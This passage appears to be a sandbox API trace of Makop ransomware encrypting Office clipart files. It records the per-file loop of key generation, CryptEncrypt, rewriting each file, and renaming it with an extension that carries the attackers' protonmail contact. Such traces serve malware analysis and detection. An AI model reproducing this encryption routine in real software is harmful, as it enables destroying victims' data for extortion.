out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.603] CloseHandle (hObject=0xf0) returned 1 [0117.604] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0117.605] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0117.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.606] GetProcessHeap () returned 0x48a0000 [0117.606] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.606] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.607] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0117.610] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.611] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.611] GetProcessHeap () returned 0x48a0000 [0117.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.611] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.611] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.611] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.611] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.611] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.611] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.611] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.612] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.612] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.612] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.612] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1016, lpOverlapped=0x0) returned 1 [0117.613] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1020, dwBufLen=0x1020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1020) returned 1 [0117.614] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1020, lpOverlapped=0x0) returned 1 [0117.614] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.614] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.614] SetEndOfFile (hFile=0xf0) returned 1 [0117.620] GetProcessHeap () returned 0x48a0000 [0117.620] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.620] GetProcessHeap () returned 0x48a0000 [0117.620] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.620] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.623] CloseHandle (hObject=0xf0) returned 1 [0117.623] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0117.623] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0117.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.624] GetProcessHeap () returned 0x48a0000 [0117.624] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.624] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.629] GetProcessHeap () returned 0x48a0000 [0117.629] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.629] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.629] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.629] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.629] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.630] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.630] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.630] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.630] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.630] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.631] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcd2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcd2, lpOverlapped=0x0) returned 1 [0117.631] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0, dwBufLen=0xce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0) returned 1 [0117.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xce0, lpOverlapped=0x0) returned 1 [0117.631] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.631] SetEndOfFile (hFile=0xf0) returned 1 [0117.639] GetProcessHeap () returned 0x48a0000 [0117.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.639] GetProcessHeap () returned 0x48a0000 [0117.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.639] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.640] CloseHandle (hObject=0xf0) returned 1 [0117.641] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0117.641] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0117.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.642] GetProcessHeap () returned 0x48a0000 [0117.642] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.642] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.642] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.646] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.646] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.646] GetProcessHeap () returned 0x48a0000 [0117.646] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.647] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.647] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.647] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.647] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.647] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.647] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.647] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.648] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.648] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.648] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4162, lpOverlapped=0x0) returned 1 [0117.650] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4170, dwBufLen=0x4170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4170) returned 1 [0117.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.650] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4170, lpOverlapped=0x0) returned 1 [0117.650] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.651] SetEndOfFile (hFile=0xf0) returned 1 [0117.658] GetProcessHeap () returned 0x48a0000 [0117.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.658] GetProcessHeap () returned 0x48a0000 [0117.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.658] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.660] CloseHandle (hObject=0xf0) returned 1 [0117.660] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0117.660] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0117.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.661] GetProcessHeap () returned 0x48a0000 [0117.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.661] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.661] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.661] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.661] GetProcessHeap () returned 0x48a0000 [0117.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.661] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.661] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.661] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.667] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5fd0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5fd0, lpOverlapped=0x0) returned 1 [0117.669] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5fd0, dwBufLen=0x5fd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5fd0) returned 1 [0117.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5fd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5fd0, lpOverlapped=0x0) returned 1 [0117.670] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x60a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.670] SetEndOfFile (hFile=0xf0) returned 1 